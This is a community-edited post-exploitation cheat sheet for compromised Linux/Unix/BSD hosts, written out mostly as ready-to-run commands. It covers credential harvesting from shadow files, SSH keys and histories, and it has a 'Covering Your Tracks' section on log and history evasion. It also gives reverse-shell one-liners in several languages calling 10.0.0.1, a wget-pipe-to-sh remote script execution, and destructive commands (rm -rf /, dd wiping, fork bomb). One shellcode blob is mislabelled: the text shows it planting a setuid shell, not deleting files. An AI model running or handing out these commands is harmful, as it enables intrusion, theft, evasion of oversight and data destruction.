

Linux/Unix/BSD Post-Exploitation Command List

If for any reason you cannot access/edit these files in the future, please contact
mubix@hak5.org

You can download these files in any format using Google Doc's
File->Download As method

If you are viewing this on anything other than Google Docs, you can get
access to the latest links to the Linux/Unix/BSD, OS X, Obscure, Metasploit, and
Windows docs here: <http://bit.ly/nuc0N0>

DISCLAIMER: Anyone can edit these docs, and all that entails and implies

Table of Contents

[Table of Contents](#)

[Information](#)

[Blind Files](#)

[System](#)

[Networking](#)

[User accounts](#)

[Credentials](#)

[Configs](#)

[Determine Distro](#)

[Installed Packages](#)

[Package Sources](#)

[Finding Important Files](#)

[Covering Your Tracks](#)

[Avoiding history files](#)

[Obtain users' information](#)

[Escalating](#)

[Looking for possible opened paths](#)

[Maintaining control](#)

[Reverse Shell](#)

[Fun if Windows is present and accessible](#)

[Stuff to be sorted](#)

[sudo -p](#)

[allows the user to define what the password prompt will be](#)

[Deleting and Destroying](#)

[Execute a remote script](#)

[Fork Bomb](#)

Information

Blind Files

(things to pull when all you can do is blindly read) LFI/dir traversal (Don't forget %00!)

| File | Contents and Reason |
|-------------------------|---|
| /etc/resolv.conf | Contains the current name servers (DNS) for the system. This is a globally readable file that is less likely to trigger IDS alerts than /etc/passwd |
| /etc/motd | Message of the Day. |
| /etc/issue | Debian - current version of distro |
| /etc/passwd | List of local users |
| /etc/shadow | List of users' passwords' hashes (requires root) |
| /home/xxx/.bash_history | Will give you some directory context |

System

| Command | Description and/or Reason |
|----------------|--|
| uname -a | Prints the kernel version, arch, sometimes distro, ... |
| ps aux | List all running processes |
| top -n 1 -d | Print process, 1 is a number of lines |
| id | Your current username, groups |
| arch, uname -m | Kernel processor architecture |
| w | who is connected, uptime and load avg |
| who -a | uptime, runlevel, tty, proceses etc. |

| | |
|-----------------------|---|
| gcc -v | Returns the version of GCC. |
| mysql --version | Returns the version of MySQL. |
| perl -v | Returns the version of Perl. |
| ruby -v | Returns the version of Ruby. |
| python --version | Returns the version of Python. |
| df -k | mounted fs, size, % use, dev and mount point[|
| mount | mounted fs |
| last -a | Last users logged on |
| lastcomm | |
| lastlog | |
| lastlogin (BSD) | |
| getenforce | Get the status of SELinux (Enforcing, Permissive or Disabled) |
| dmesg | Informations from the last system boot |
| lspci | prints all PCI buses and devices |
| lsusb | prints all USB buses and devices/h |
| lscpu | prints CPU information |
| lshw | |
| ex | |
| cat /proc/cpuinfo | |
| cat /proc/meminfo | |
| du -h --max-depth=1 / | (note: can cause heavy disk i/o) |
| which nmap | locate a command (ie nmap or nc) |
| locate bin/nmap | |
| locate bin/nc | |

| | |
|---------------|------------------------------|
| jps -l | |
| java -version | Returns the version of Java. |

Networking

- hostname -f
- ip addr show
- ip ro show
- ifconfig -a
- route -n
- cat /etc/network/interfaces
- iptables -L -n -v
- iptables -t nat -L -n -v
- ip6tables -L -n -v
- iptables-save
- netstat -anop
- netstat -r
- netstat -nltpw (root with raw sockets)
- arp -a
- lsof -nPi

The information returned by these commands can also be acquired through “cat /proc/net/*”. This is less likely to trigger monitoring alerts. The drawback is that it generates a lot of information which then has to be analyzed.

User accounts

- local accounts: **cat /etc/passwd**
 - password hashes in **/etc/shadow** on Linux
 - password hashes in **/etc/security/passwd** on AIX
 - groups in **/etc/group** (and/or **/etc/gshadow** on Linux)
- all accounts: **getent passwd**
 - should dump local, LDAP, NIS, whatever the system is using
 - same with **getent group**
- Samba's own database: **pdbedit -L -w** or **pdbedit -L -v**
- privileged accounts: **cat**
 - (above: *cat ???*)

- mail aliases: **cat /etc/aliases** **find /etc -name aliases**, **getent aliases**
- NIS accounts: **ypcat passwd** - displays NIS password file

Credentials

- SSH keys, often passwordless: **/home*/.ssh/id***
- SSH agent:
-
- Kerberos tickets: **/tmp/krb5cc_***, **/tmp/krb5.keytab**
- PGP keys: **/home*/.gnupg/secring.gpgs**

Configs

- **ls -aRI /etc/ | awk '\$1 ~ /w.\$/' | grep -v lrwx 2>/dev/nullte**
- **cat /etc/issue{,.net}**
- **cat /etc/master.passwd**
- **cat /etc/group**
- **cat /etc/hosts**
- **cat /etc/crontab**
- **cat /etc/sysctl.conf**
- **for user in \$(cut -f1 -d: /etc/passwd); do echo \$user; crontab -u \$user -l; done #** (Lists all crons)
- **cat /etc/resolv.conf**
- **cat /etc/syslog.conf**
- **cat /etc/chttp.conf**
- **cat /etc/lighttpd.conf**
- **cat /etc/cups/cupsd.conf**
- **cat /etc/inetd.conf**
- **cat /opt/lampp/etc/httpd.conf**
- **cat /etc/samba/smb.conf**
- **cat /etc/openldap/ldap.conf**
- **cat /etc/ldap/ldap.conf**
- **cat /etc/exports**
- **cat /etc/auto.master**
- **cat /etc/auto_master**
- **cat /etc/fstab**
- **find /etc/sysconfig/ -type f -exec cat {} \;**

Determine Distro

- | | |
|--------------------------|--|
| • lsb_release -d | # Generic command for all LSB distros |
| • /etc/os-release | # Generic for distros using "systemd" |
| • /etc/issue | # Generic but often modified |

- `cat /etc/*release`
- `/etc/SUSE-release` # Novell SUSE
- `/etc/redhat-release, /etc/redhat_version` # Red Hat
- `/etc/fedora-release` # Fedora
- `/etc/slackware-release, /etc/slackware-version` # Slackware
- `/etc/debian_release, /etc/debian_version` # Debian
- `/etc/mandrake-release` # Mandrake
- `/etc/sun-release` # Sun JDS
- `/etc/release` # Solaris/Sparc
- `/etc/gentoo-release` # Gentoo
- `/etc/arch-release` # Arch Linux (file will be empty)
- `arch` # OpenBSD; sample: "OpenBSD.amd64"
- `uname -a` # often hints at it pretty well

Installed Packages

- `rpm -qa --last | head`
- `yum list | grep installed`
- Debian: `dpkg -l`
`dpkg -l | grep -i "linux-image"`
`dpkg --get-selections`
- {Free,Net}BSD: `pkg_info`
- Solaris: `pkginfo`
- Gentoo: # equery must be installed
`cd /var/db/pkg/ && ls -d */* # always works`
- Arch Linux: `pacman -Q`

Package Sources

- `cat /etc/apt/sources.list`
- `ls -l /etc/yum.repos.d/`
- `cat /etc/yum.conf`

Finding Important Files

- `ls -dLR */ #`
- `ls -alR | grep ^d`
- `find /var -type d`
- `ls -dl `find /var -type d``
- `ls -dl `find /var -type d` | grep -v root`
- `find /var ! -user root -type d -ls`
- `find /var/log -type f -exec ls -la {} \;`

- `find / -perm -4000` (find all suid files)
- `ls -alhtr /mnt`
- `ls -alhtr /media`
- `ls -alhtr /tmp`
- `ls -alhtr /home`
- `cd /home/; tree /home/*/.ssh/*`
- `find /home -type f -iname '.*history'`
- `ls -lart /etc/rc.d/`
- `locate tar | grep [.]tar$` # Remember to updatedb before running locate
- `locate tgz | grep [.]tgz$`
- `locate sql | grep [.]sql$`
- `locate settings | grep [.]php$`
- `locate config.inc | grep [.]php$`
- `ls /home/*/id*`
- `.properties | grep [.]properties` # java config files
- `locate .xml | grep [.]xml` # java/.net config files
- `find /sbin /usr/sbin /opt /lib `echo $PATH` | sed s:/:/g -perm /6000 -ls` # find suids
- `locate rhosts`

Covering Your Tracks

Avoiding history files

- `export HISTFILE=`
or
- `unset HISTFILE`

This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out:

However if you happen to be on an account that was originally inaccessible, if the `.bash_history` file is available (`ls -la ~`), viewing its contents can provide you with a good deal of information about the system and its most recent updates/changes.

clear all history in ram

- `history -c`
- `rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null` (invasive)
- `touch ~/.bash_history` (invasive)
- `<space> history -c` (using a space before a command)
- `zsh% unset HISTFILE HISTSIZE`
- `tcsh% set history=0`
- `bash$ set +o history`
- `ksh$ unset HISTFILE`
- `find / -type f -exec {}` (forensics nightmare)

Note that you're probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect.

In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (**history -c**) or by **kill -9 \$\$**'ing the shell. Sometimes the shell can be configured to run 'history -w' after every command; get around this by overriding 'history' with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however.

Obtain users' information

- `ls -alh /home/*/`
- `ls -alh /home/*/.ssh/`
- `cat /home/*/.ssh/authorized_keys`
- `cat /home/*/.ssh/known_hosts`
- `cat /home/*/*.hist*` # you can learn a lot from this
- `find /home/*/.vnc /home/*/.subversion -type f`
- `grep ^ssh /home/*/*.hist*`
- `grep ^telnet /home/*/*.hist*`
- `grep ^mysql /home/*/*.hist*`
- `cat /home/*/.viminfo`
- `sudo -l` # if sudoers is not. readable, this sometimes works per user
- `crontab -l`
- `cat /home/*/.mysql_history`

Escalating

Looking for possible opened paths

- `ls -alh /root/`
- `sudo -l`
- `cat /etc/sudoers`
- `cat /etc/shadow`
- `cat /etc/master.passwd` # OpenBSD
- `cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*`
- `ls -nPi`
- `ls /home/*/.ssh/*`

Maintaining control

Reverse Shell

Starting list sourced from: <http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>

- `bash -i >& /dev/tcp/10.0.0.1/8080 0>&1` (No `/dev/tcp` on older Debians, but use `nc`, `socat`, `TCL`, `awk` or any interpreter like `Python`, and so on.).
- `perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'`
- `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`
- `php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'`
- `ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234` # note need `-l` on some versions, and many does NOT support `-e` anymore
- `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f`
- `xterm -display 10.0.0.1:1se`
 - Listener- `Xnest :1`
 - Add permission to connect- `xhost +victimIP`
- `ssh -NR 3333:localhost:22 user@yourhost`
- `nc -e /bin/sh 10.0.0.1 1234`

Fun if Windows is present and accessible

If there is Windows installed and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing. `Ntfs-3g` is useful for mounting ntfs partitions read-write.

TODO: insert details on what to look for

Stuff to be sorted

GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN

| Command | Output |
|---------------|--|
| <i>ps aux</i> | List of running processes |
| <i>id</i> | List current user and group along with user/group id |
| <i>w</i> | Show info about who is logged, what are they are doing |

| | |
|---|---|
| <code>who -a</code> | Print information about users |
| <code>cat /dev/core > /dev/audio</code> <code>cat /dev/mem > /dev/audio</code> | <p>Makes a sound from the memory content.</p> <p><i>Usefulness of this??? (none, aside from pissing off the sysadmin, in the very unlikely case that the server has speakers and the legacy OSS driver)</i></p> |
| <code>sudo -p</code> | allows the user to define what the password prompt will be (useful for fun customization with aliases or shell scripts) |

Deleting and Destroying

(If it is necessary to leave the machine inaccessible or unusable)

Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles.

Oh, and you're probably a jerk if you use any of the stuff below.

| Command | Description |
|---|---|
| <code>rm -rf /</code> | This will recursively try to delete all files. |
| <pre>char esp[] __attribute__((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68 " "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31 " "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";</pre> | <p>Hex version of <code>rm -rf /</code></p> <p><i>How is this supposed to work?</i></p> |
| <code>mkfs.ext3 /dev/sda</code> | Reformat the device mentioned, making recovery of files hard. |
| <code>dd if=/dev/zero of=/dev/sda bs=1M</code> | Overwrite disk /dev/sda with zeros |

Execute a remote script

| | |
|-------------------------------------|---|
| wget http://server/file.sh -O- sh | This command forces the download of a file and immediately its execution, can be exploited easily using or reverse shit |
|-------------------------------------|---|

Fork Bomb

| | |
|-------------|--|
| :(){: :&};: | The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb. |
|-------------|--|

Stolen from: http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf

| | | |
|----------------------------|--|--|
| World writable directories | Find word writable folders outside your home directory. It would be a tremendous success if we could write, say to /etc. So we could add configuration files and therefore pretty sure execute code as root, since many daemons read a specific number of primary and secondary configuration files, whereas the secondary ones are often not created yet. If the superusers home (/root) would be writable, we could create shell startup files that doesn't exist yet: .profile, .bash_profile, .bashrc... | find / \(wholename '/home/homedir/*' prune \) o \ (type d perm 0002 \) exec ls d '{ }' ';' 2>/dev/null |
| World writable files | What if /etc/passwd would be writable? Yeah, we just could add another root user and we would have won! Whereas the foregoing scenario is just too good to be true, it really makes sense to search for world writable files outside your own territory (= your home directory). | find / \(wholename '/home/homedir/*' prune o wholename '/proc/*' prune \) o \ (type f perm 0002 \) exec ls d '{ }' ';' 2>/dev/null |
| Logfiles | Sometimes a security unaware administrator chmods a sensitive log file, because he couldn't view it and therefore leaks potentially sensitive data such as passwords or other important information. | find /var/log type f perm 0004 2>/dev/null |
| Setuid / setgid files | We already examined fully why setuid and setgid files are worth to be double checked. Such a file owned by root and susceptible for attacks is a big weakness. | find / \(type f or type d \) perm 6000 2>/dev/null |